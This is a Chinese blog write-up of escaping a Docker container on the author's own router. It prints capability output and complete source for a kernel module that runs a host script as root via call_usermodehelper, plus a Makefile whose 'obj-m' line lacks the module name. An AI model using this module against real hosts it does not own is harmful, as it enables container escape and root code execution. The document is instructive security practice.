记一次docker容器逃逸实践

前言

爸妈家的宽带有了公网ip之后,打算利用一下之前买的可以装docker的路由器。安装之后,发现限制还是比较多的,不能使用privileged等特权操作。查了一下网上的资料,这款路由器明确已知的漏洞需要降级固件。由于路由器不在身边,于是打算找找其他漏洞。

发掘漏洞

通过capsh --print查看容器的capabilities

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/data # capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Ambient set =
Current IAB:
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Guessed mode: HYBRID (4)
/data #

只能说好家伙,几乎啥权限都有了,手动试了一下卸载内核模块,还真能卸载。于是打算从内核模块入手。

利用漏洞

看了一下/proc目录,config.gz也在这,直接拷出来。通过uname -a查看内核版本,下载对应的内核源码。
编写内核模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("zhh");
MODULE_DESCRIPTION("docker escape");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/sh","/mnt/外置u盘的挂载点/study/run.sh", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init docker_escape_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit docker_escape_exit(void) {
printk(KERN_INFO "Exiting\n");
}


module_init(docker_escape_init);
module_exit(docker_escape_exit);

makefile

1
2
3
4
5
6
7
8
9
obj-m +=.o

KERNEL_SRC := /home/zhong/hack/linux内核源码目录

all:
make -C $(KERNEL_SRC) M=$(PWD) modules

clean:
make -C $(KERNEL_SRC) M=$(PWD) clean

编译后,传到路由器上确实可以insmod,也能以宿主机的root用户执行任意脚本,后续解除docker挂载限制后,也成功从容器中逃逸。

总结

docker权限限制不当还是比较危险的,感谢粗心的程序员&能获得root权限才是真正的自己的设备。

作者

ZhongHuihong

发布于

2024-06-29

更新于

2024-06-29

许可协议